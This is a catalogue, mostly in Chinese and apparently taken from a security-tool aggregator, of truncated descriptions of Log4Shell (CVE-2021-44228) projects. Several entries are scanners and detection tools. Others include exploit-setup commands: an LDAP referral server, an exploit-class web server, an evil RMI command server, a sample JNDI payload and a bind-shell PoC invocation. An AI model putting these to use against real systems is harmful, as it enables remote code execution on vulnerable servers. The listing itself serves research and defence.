f-for-java

f-for-java 一个用 Go 和 Java 编写的项目，我放弃了的，针对 CVE-2021-44228，如果你可以的话试着修复它 XD JAVA 中的模块不是我的...

cloudrasp-log4j2

靖云甲·应用程序自我防护模块 - Log4j2 专版 English 本项目为靖云甲为 Log4j2 CVE-2021-44228 专项构建的本地版本。使用不需要联网。 请务必测试后再应用于生产环境！ 应用程序自我防护模块通过 RASP 技术，将探针注入至 Java 应用中。对 log4j2 的攻击检测是通过检测程序上下文来实现的，也可为非 Web 业务程序提供保护。 该防御模块会默认阻断通过 log4j2 发起的 JNDI 注入。 值得注意的是 虽然 Oracle 在 6u211、7u201、8u191、11.0.1 默认不再通过 JNDI 加载远程 class，但是攻击人员发现通过...

XSYS-Log4J2Shell-Ex

XSYS-Log4J2Shell-Ex CVE-2021-44228 log4j2shell 作为安全研究的一部分，旨在实现漏洞补丁的 PoC 概述 root@kitploit: 在本仓库中，我将涵盖多个主题和实现， 这些内容提供了关于 Log4J 2.17.0 漏洞的概念验证。 主要目标是提供 CVE-2021-44228 的补丁，并确保 通过 Header 和/或 Body 载荷实现 JNDI RCE 绕过。 因此， 我将为本 PoC 提供两种类型的应用程序： 1. 存在漏洞的 Apache J2EE 应用程序。 2. 已打补丁的 Apache J2EE 应用程序。...

log4shell4shell

log4shell4shell Log4j - 多功能工具。查找和修复可能的 CVE-2021-44228 漏洞 - 提供完整的 LOG4SHELL 测试/攻击环境 功能 检查你的 Linux/Mac/BSD 和 Windows 系统是否存在 CVE-2021-44228 漏洞 通过删除 log4j Java 类或设置一些环境变量来修复你的系统 概念验证：你可以运行一个模拟的 Spring Boot 服务器来自己测试该漏洞（https://github.com/christophetd/log4shell-vulnerable-app） 你可以对指定的 IP-端口发起攻击，并包含一个...

checkmk-log4j-scanner

用于检查 log4j2 CVE-2021-44228 的 checkmk 扩展 此插件封装了 logpresso/CVE-2021-44228-Scanner（Apache License 2.0） 工作原理 运行分为 5 步： 1. 递归查找所有 .jar、.war、.ear、.aar 文件。 2. 在 JAR 文件中查找 META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties 条目。 3. 读取 groupId、artifactId 和 version。 4. 比较 log4j2 版本并打印存在漏洞的版本。...

apache-tomcat-log4j

Log4j2 CVE-2021-44228 漏洞概念验证（Apache Tomcat 环境） 预览 设置 启动 tomcat 服务器 root@kitploit: git clone cd apache-tomcat-10.0.14/bin startup.bat 提供利用类 root@kitploit: cd exploit py -m http.server 8888 root@kitploit: cd exploit java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer...

CVE-2021-44228

CVE-2021-44228 Prueba de concepto de la vulnerabilidad Log4Shell CVE-2021-44228...

log4shell_ioc_ips

j4shelliocips 来自已知 log4j/log4shell 恶意IP地址的大型数据转储，唯一且已排序，仅在发生变化时每小时更新一次！（CVE-2021-44228） 狩猎愉快 免责声明 此脚本解析大量来源，因此此列表可能包含大量误报，请不要在防火墙中屏蔽所有IP！ 待办事项： 添加白名单 正在进行中 改进正则表达式以排除本地IP地址 已解决 添加对域名的支持 来源： https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217...

log4j_scanner

用于Windows和Unix的文件系统log4jscanner。 扫描以下漏洞：CVE-2021-44228, CVE-2021-45046, CVE-2019-17571, CVE-2021-44832 最低需要Python 2.7。 可以作为审计的自定义脚本规则执行，或通过服务器自动化中的服务器脚本执行。 也可以从命令行独立执行。 参考 https://github.com/hillu/local-log4j-vuln-scanner/...

log4j-cve-2021-44228

Log4j CVE-2021-44228 和 CVE-2021-45046 先决条件 使用存在漏洞的 JDK，例如 JDK 1.8.0181 用法 恶意服务器 恶意服务器部署以下端点： 1389 LDAP 服务器 1099 RMI 服务器 8081 HTTP 服务器 root@kitploit: ./gradlew :malicious-server:bootRun 存在漏洞的应用程序 存在漏洞的应用程序在 8082 端口部署一个 HTTP 端点 root@kitploit: ./gradlew :vulnerable-app:bootRun 远程代码执行...

log4j-urlscanner

log4j-detect 简单的 Python 3 脚本，用于检测一组 URL 的“Log4j”Java 库漏洞（CVE-2021-44228），支持多线程 脚本“log4j-detect.py”使用 Python 3 开发，用于检测指定 URL 列表是否受 CVE-2021-44228 漏洞影响。 其工作流程如下：通过线程（提高性能）向列表中的每个 URL 发送 GET 请求。该 GET 请求包含一个载荷，成功时会将 DNS 请求发送至 Burp Collaborator /...

Log4J-RCE-Proof-Of-Concept

Log4J-RCE-Proof-Of-Concept CVE-2021-44228 Esta es una prueba de concepto del RCE de log4j. Aquí hay algunos enlaces sobre el CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://github.com/apache/logging-log4j2/pull/608...

log4j-vulnerable-app-cve-2021-44228-terraform

log4j-vulnerable-app-cve-2021-44228-terraform 一个用于部署易受攻击应用及配合 CVE-2021-44228 使用的 JNDIExploit 的 Terraform 配置 关于技术栈 该 Terraform 在 AWS 云的一个 VPC 中创建两个实例。 你只需要导出你的 AWSACCESSKEYID 和 AWSSECRETACCESSKEY 其中一个实例是 JNDIExploit。 另一个是用于 log4j 漏洞利用的 Vulnerable-App 请在 apply 之前替换 terraform 中的 SSH 公钥 root@kitploit...

log4shell-rex

Log4Shell-Rex 以下 RegEx 旨在尝试匹配 Log4Shell（CVE-2021-44228 和 CVE-2021-45046）利用的指标（indicators）。 如果您运行的版本早于 2021/12/21，强烈建议进行测试并更新。 我已移除了一些 quirks 并增强了性能。 该 Regex 力求与 PCRE 兼容，但也应在 re2 以及可能更多的 RegEx 引擎上运行。 RegEx: regex...

Log4Shell-CVE-2021-44228-Demo

Log4Shell CVE-2021-44228 演示 环境设置 客户端 任何能够使用 curl 命令行访问 HTTP 服务器的地方 使用了 log4j 的 HTTP 服务器的易受攻击应用 Amazon Linux 2 基于 x86 EC2 实例 / CentOS Azure 虚拟机 root@kitploit: $ yum install docker -y $ systemctl enable docker $ systemctl start docker $ docker run --name vulnerable-app -p 8080:8080...

Ox4Shell

Ox4Shell 轻松去混淆Log4Shell有效载荷。 描述 自Log4Shell漏洞（CVE-2021-44228）发布以来，许多工具被创建用于混淆Log4Shell有效载荷，使得安全工程师的生活如同噩梦。 本工具旨在揭示被混淆的Log4Shell有效载荷的真实内容。 例如，考虑以下混淆的有效载荷： root@kitploit:...

CVE-2021-44228-POC

CVE-2021-44228-POC 利用 CVE-2021-44228 下载 nuclei sudo cp nuclei /usr/bin/nuclei sudo chmod +x /usr/bin/nuclei git clone https://github.com/sec13b/CVE-2021-44228-POC.git mv CVE-2021-44228-POC log4shellexploit mkdir yaml mv .yaml yaml/ 运行： python3 log4shellexploit.py http://iptoexploit --nucleipath...

evil-rmi-server

evil-rmi-server 一个邪恶的RMI服务器，可以执行任意命令。在本地提权场景中对CVE-2021-44228可能有用。 构建 ./gradlew bootJar 运行 root@kitploit: Usage: java -jar build/libs/evilRMIServer-1.0-SNAPSHOT.jar -hV -p= An evil RMI Server to help construct and run an arbitrary command. The Command to run. Wrap in quotes if there are spaces. -h...

CVE-2021-44228_scanner

CVE-2021-44228 文件系统扫描器 旨在查找几乎任何目录或 zip、jar、ear、war 文件中的 JndiLookup.class，即使是深度嵌套的。 find-class-files – Clojure 实现应能在 Java 可以运行的几乎任何地方运行，前提是有足够的磁盘空间。 给定一组文件系统根目录（c:\mydir 或 /home/home/on/the/range），显示磁盘上或压缩包中的 JndiLookup.class 实例。 windowscmd – 原型 Windows 脚本是批处理文件，但它们非常慢且可能相当冗长，而且无法告诉你文件的哈希值。...

CVE-2021-44228-PoC

CVE-2021-44228 PoC CVE-2021-44228 的 PoC。 该项目仅用于教育目的。 漏洞利用服务器 该项目创建了两个服务器：http 和 ldap。两者都是利用工作所必需的。指定的 Java 文件被编译，服务器在 Dockerfile 中启动。有效载荷会展示给用户——它必须被传递给易受攻击的应用程序。 示例有效载荷： root@kitploit: $jndi:ldap//127.0.0.1:1389/a 如何运行？ 绑定 shell root@kitploit: ./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind...